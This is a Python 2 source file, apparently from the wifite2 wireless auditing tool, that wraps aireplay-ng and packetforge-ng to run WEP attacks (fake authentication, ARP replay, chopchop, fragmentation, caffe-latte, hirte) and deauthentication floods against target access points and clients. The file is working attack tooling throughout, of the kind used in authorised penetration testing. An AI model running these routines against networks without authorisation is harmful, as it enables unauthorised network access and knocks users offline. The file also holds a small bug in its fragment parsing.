b0bd57b1a3
Bugfix when chopchop fails. Displays aircrack's error message when chopchop fails. For improving WEP attacks in #27
468 lines
18 KiB
Python
Executable File
468 lines
18 KiB
Python
Executable File
#!/usr/bin/python2.7
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# -*- coding: utf-8 -*-
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from ..config import Configuration
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from ..util.process import Process
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from ..util.timer import Timer
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import os, time, re
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from threading import Thread
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class WEPAttackType(object):
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''' Enumeration of different WEP attack types '''
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fakeauth = 0
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replay = 1
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chopchop = 2
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fragment = 3
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caffelatte = 4
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p0841 = 5
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hirte = 6
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forgedreplay = 7
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def __init__(self, var):
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'''
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Sets appropriate attack name/value given an input.
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Args:
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var - Can be a string, number, or WEPAttackType object
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This object's name & value is set depending on var.
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'''
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self.value = None
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self.name = None
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if type(var) is int:
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for (name,value) in WEPAttackType.__dict__.iteritems():
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if type(value) is int:
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if value == var:
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self.name = name
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self.value = value
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return
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raise Exception("Attack number %d not found" % var)
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elif type(var) is str:
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for (name,value) in WEPAttackType.__dict__.iteritems():
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if type(value) is int:
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if name == var:
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self.name = name
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self.value = value
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return
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raise Exception("Attack name %s not found" % var)
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elif type(var) == WEPAttackType:
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self.name = var.name
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self.value = var.value
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else:
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raise Exception("Attack type not supported")
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def __str__(self):
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return self.name
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class Aireplay(Thread):
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def __init__(self, target, attack_type, client_mac=None, replay_file=None):
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'''
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Starts aireplay process.
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Args:
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target - Instance of Target object, AP to attack.
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attack_type - str, e.g. "fakeauth", "arpreplay", etc.
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client_mac - MAC address of an associated client.
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'''
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super(Aireplay, self).__init__() # Init the parent Thread
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self.target = target
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self.output_file = Configuration.temp("aireplay_%s.output" % attack_type)
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self.attack_type = WEPAttackType(attack_type).value
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self.error = None
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self.status = None
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self.cmd = Aireplay.get_aireplay_command(self.target,
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attack_type,
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client_mac=client_mac,
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replay_file=replay_file)
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self.pid = Process(self.cmd,
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stdout=open(self.output_file, 'a'),
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stderr=Process.devnull(),
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cwd=Configuration.temp())
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self.start()
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def is_running(self):
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return self.pid.poll() is None
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def stop(self):
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''' Stops aireplay process '''
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if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
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self.pid.interrupt()
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def get_output(self):
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''' Returns stdout from aireplay process '''
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return self.stdout
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def run(self):
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self.stdout = ''
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self.xor_percent = '0%'
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while self.pid.poll() is None:
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time.sleep(0.1)
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if not os.path.exists(self.output_file): continue
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# Read output file & clear output file
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with open(self.output_file, "r+") as fid:
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lines = fid.read()
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self.stdout += lines
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fid.seek(0)
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fid.truncate()
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if Configuration.verbose > 1 and lines.strip() != '':
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from ..util.color import Color
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Color.pl('\n{P} [?] aireplay output:\n %s{W}' % lines.strip().replace('\n', '\n '))
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for line in lines.split("\n"):
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line = line.replace("\r", "").strip()
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if line == "": continue
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if "Notice: got a deauth/disassoc packet" in line:
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self.error = "Not associated (needs fakeauth)"
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if self.attack_type == WEPAttackType.fakeauth:
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# Look for fakeauth status. Potential Output lines:
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# (START): 00:54:58 Sending Authentication Request (Open System)
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if "Sending Authentication Request " in line:
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self.status = None # Reset
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# (????): Please specify an ESSID (-e).
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elif "Please specify an ESSID" in line:
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self.status = None
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# (FAIL): 00:57:43 Got a deauthentication packet! (Waiting 3 seconds)
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elif "Got a deauthentication packet!" in line:
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self.status = False
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# (PASS): 20:17:25 Association successful :-) (AID: 1)
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# (PASS): 20:18:55 Reassociation successful :-) (AID: 1)
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elif "association successful :-)" in line.lower():
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self.status = True
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elif self.attack_type == WEPAttackType.chopchop:
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# Look for chopchop status. Potential output lines:
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# (START) Read 178 packets...
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read_re = re.compile(r"Read (\d+) packets")
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matches = read_re.match(line)
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if matches:
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self.status = "Waiting for packet (read %s)..." % matches.group(1)
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# Sent 1912 packets, current guess: 70...
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sent_re = re.compile(r"Sent (\d+) packets, current guess: (\w+)...")
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matches = sent_re.match(line)
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if matches:
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self.status = "Generating .xor (%s)... current guess: %s" % (self.xor_percent, matches.group(2))
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# (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms
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offset_re = re.compile(r"Offset.*\(\s*(\d+%) done\)")
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matches = offset_re.match(line)
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if matches:
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self.xor_percent = matches.group(1)
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self.status = "Generating .xor (%s)..." % matches.group(1)
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# (DONE) Saving keystream in replay_dec-0516-202246.xor
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saving_re = re.compile(r"Saving keystream in (.*\.xor)")
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matches = saving_re.match(line)
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if matches:
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self.status = matches.group(1)
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# (ERROR) fakeauth required
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if 'try running aireplay-ng in authenticated mode' in line:
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self.status = 'fakeauth is required and you are not authenticated'
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elif self.attack_type == WEPAttackType.fragment:
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# Parse fragment output, update self.status
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# (START) Read 178 packets...
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read_re = re.compile(r"Read (\d+) packets")
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matches = read_re.match(line)
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if matches:
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self.status = "Waiting for packet (read %s)..." % matches.group(1)
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# 01:08:15 Waiting for a data packet...
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if 'Waiting for a data packet' in line:
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self.status = 'waiting for packet'
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# Read 207 packets...
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trying_re = re.compile(r"Trying to get (\d+) bytes of a keystream")
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matches = trying_re.match(line)
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if matches:
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self.status = 'trying to get %sb of a keystream' % matches.group(1)
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# 01:08:17 Sending fragmented packet
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if 'Sending fragmented packet' in line:
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self.status = 'sending packet'
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# 01:08:37 Still nothing, trying another packet...
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if 'Still nothing, trying another packet' in line:
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self.status = 'sending another packet'
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# XX:XX:XX Trying to get 1500 bytes of a keystream
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trying_re = re.compile(r"Trying to get (\d+) bytes of a keystream")
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matches = trying_re.match(line)
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if matches:
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self.status = 'trying to get %sb of a keystream' % matches.group(1)
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# XX:XX:XX Got RELAYED packet!!
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if 'Got RELAYED packet' in line:
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self.status = 'got relayed packet'
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# XX:XX:XX Thats our ARP packet!
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if 'Thats our ARP packet' in line:
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self.status = 'relayed packet was our'
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# XX:XX:XX Saving keystream in fragment-0124-161129.xor
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saving_re = re.compile(r"Saving keystream in (.*\.xor)")
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matches = saving_re.match(line)
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if matches:
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self.status = 'saving keystream to %s' % saving_re.group(1)
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# XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
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else: # Replay, forged replay, etc.
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# Parse Packets Sent & PacketsPerSecond. Possible output lines:
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# Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
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# Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps)
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read_re = re.compile(r"Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)")
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matches = read_re.match(line)
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if matches:
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pps = matches.group(5)
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if pps == "0":
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self.status = "Waiting for packet..."
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else:
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self.status = "Replaying packet @ %s/sec" % pps
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pass
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def __del__(self):
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self.stop()
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@staticmethod
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def get_aireplay_command(target, attack_type,
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client_mac=None, replay_file=None):
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'''
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Generates aireplay command based on target and attack type
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Args:
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target - Instance of Target object, AP to attack.
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attack_type - int, str, or WEPAttackType instance.
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client_mac - MAC address of an associated client.
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replay_file - .Cap file to replay via --arpreplay
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'''
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# Interface is required at this point
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Configuration.initialize()
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if Configuration.interface is None:
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raise Exception("Wireless interface must be defined (-i)")
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cmd = ["aireplay-ng"]
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cmd.append("--ignore-negative-one")
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if client_mac is None and len(target.clients) > 0:
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# Client MAC wasn't specified, but there's an associated client. Use that.
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client_mac = target.clients[0].station
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# type(attack_type) might be str, int, or WEPAttackType.
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# Find the appropriate attack enum.
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attack_type = WEPAttackType(attack_type).value
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if attack_type == WEPAttackType.fakeauth:
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cmd.extend([
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"--fakeauth", "30", # Fake auth every 30 seconds
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"-Q", # Send re-association packets
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"-a", target.bssid
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])
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if target.essid_known:
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cmd.extend(["-e", target.essid])
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elif attack_type == WEPAttackType.replay:
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cmd.extend([
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"--arpreplay",
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"-b", target.bssid,
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"-x", str(Configuration.wep_pps)
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])
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if client_mac:
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cmd.extend(["-h", client_mac])
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elif attack_type == WEPAttackType.chopchop:
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cmd.extend([
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"--chopchop",
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"-b", target.bssid,
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"-x", str(Configuration.wep_pps),
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#"-m", "60", # Minimum packet length (bytes)
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#"-n", "82", # Maximum packet length
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"-F" # Automatically choose first packet
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])
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if client_mac:
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cmd.extend(["-h", client_mac])
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elif attack_type == WEPAttackType.fragment:
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cmd.extend([
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"--fragment",
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"-b", target.bssid,
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"-x", str(Configuration.wep_pps),
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"-m", "100", # Minimum packet length (bytes)
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"-F" # Automatically choose first packet
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])
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if client_mac:
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cmd.extend(["-h", client_mac])
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elif attack_type == WEPAttackType.caffelatte:
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if len(target.clients) == 0:
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# Unable to carry out caffe-latte attack
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raise Exception("Client is required for caffe-latte attack")
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cmd.extend([
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"--caffe-latte",
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"-b", target.bssid,
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"-h", target.clients[0].station
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])
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elif attack_type == WEPAttackType.p0841:
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cmd.extend([
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"--arpreplay",
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"-b", target.bssid,
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"-c", "ff:ff:ff:ff:ff:ff",
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"-x", str(Configuration.wep_pps),
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"-F", # Automatically choose first packet
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"-p", "0841"
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])
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if client_mac:
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cmd.extend(["-h", client_mac])
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elif attack_type == WEPAttackType.hirte:
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if client_mac is None:
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# Unable to carry out hirte attack
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raise Exception("Client is required for hirte attack")
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cmd.extend([
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"--cfrag",
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"-h", client_mac
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])
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elif attack_type == WEPAttackType.forgedreplay:
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if client_mac is None or replay_file is None:
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raise Exception("Client_mac and Replay_File are required for arp replay")
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cmd.extend([
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"--arpreplay",
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"-b", target.bssid,
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"-h", client_mac,
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"-r", replay_file,
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"-F", # Automatically choose first packet
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"-x", str(Configuration.wep_pps)
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])
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else:
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raise Exception("Unexpected attack type: %s" % attack_type)
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cmd.append(Configuration.interface)
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return cmd
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@staticmethod
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def get_xor():
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''' Finds the last .xor file in the directory '''
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xor = None
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for fil in os.listdir(Configuration.temp()):
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if fil.startswith('replay_') and fil.endswith('.xor') or \
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fil.startswith('fragment-') and fil.endswith('.xor'):
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xor = fil
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return xor
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@staticmethod
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def forge_packet(xor_file, bssid, station_mac):
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''' Forges packet from .xor file '''
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forged_file = 'forged.cap'
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cmd = [
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'packetforge-ng',
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'-0',
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'-a', bssid, # Target MAC
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'-h', station_mac, # Client MAC
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'-k', '192.168.1.2', # Dest IP
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'-l', '192.168.1.100', # Source IP
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'-y', xor_file, # Read PRNG from .xor file
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'-w', forged_file, # Write to
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Configuration.interface
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]
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cmd = '"%s"' % '" "'.join(cmd)
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(out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
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if out.strip() == 'Wrote packet to: %s' % forged_file:
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return forged_file
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else:
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from ..util.color import Color
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Color.pl('{!} {R}failed to forge packet from .xor file{W}')
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Color.pl('output:\n"%s"' % out)
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return None
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@staticmethod
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def deauth(target_bssid, essid=None, client_mac=None, num_deauths=None, timeout=2):
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num_deauths = num_deauths or Configuration.num_deauths
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deauth_cmd = [
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"aireplay-ng",
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"-0", # Deauthentication
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str(num_deauths),
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"--ignore-negative-one",
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"-a", target_bssid, # Target AP
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"-D" # Skip AP detection
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]
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if client_mac is not None:
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# Station-specific deauth
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deauth_cmd.extend(["-c", client_mac])
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if essid:
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deauth_cmd.extend(["-e", essid])
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deauth_cmd.append(Configuration.interface)
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proc = Process(deauth_cmd)
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while proc.poll() is None:
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if proc.running_time() >= timeout:
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proc.interrupt()
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time.sleep(0.2)
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@staticmethod
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def fakeauth(target, timeout=5, num_attempts=3):
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'''
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Tries a one-time fake-authenticate with a target AP.
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Params:
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target (py.Target): Instance of py.Target
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timeout (int): Time to wait for fakeuth to succeed.
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num_attempts (int): Number of fakeauth attempts to make.
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Returns:
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(bool): True if fakeauth succeeds, otherwise False
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'''
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cmd = [
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'aireplay-ng',
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'-1', '0', # Fake auth, no delay
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'-a', target.bssid,
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'-T', str(num_attempts)
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]
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if target.essid_known:
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cmd.extend(['-e', target.essid])
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cmd.append(Configuration.interface)
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fakeauth_proc = Process(cmd,
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devnull=False,
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cwd=Configuration.temp())
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timer = Timer(timeout)
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while fakeauth_proc.poll() is None and not timer.ended():
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time.sleep(0.1)
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if fakeauth_proc.poll() is None or timer.ended():
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fakeauth_proc.interrupt()
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return False
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output = fakeauth_proc.stdout()
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return 'association successful' in output.lower()
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if __name__ == '__main__':
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t = WEPAttackType(4)
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print t.name, type(t.name), t.value
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t = WEPAttackType('caffelatte')
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print t.name, type(t.name), t.value
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t = WEPAttackType(t)
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print t.name, type(t.name), t.value
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from ..model.target import Target
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fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
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t = Target(fields)
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'''
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aireplay = Aireplay(t, 'replay')
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while aireplay.is_running():
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from time import sleep
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sleep(0.1)
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stdout, stderr = aireplay.get_output()
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print "STDOUT>", stdout
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print "STDERR>", stderr
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'''
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'''
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forge = Aireplay.forge_packet('/tmp/replay_dec-0605-060243.xor', \
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'A4:2B:8C:16:6B:3A', \
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'00:C0:CA:4E:CA:E0')
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print forge
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'''
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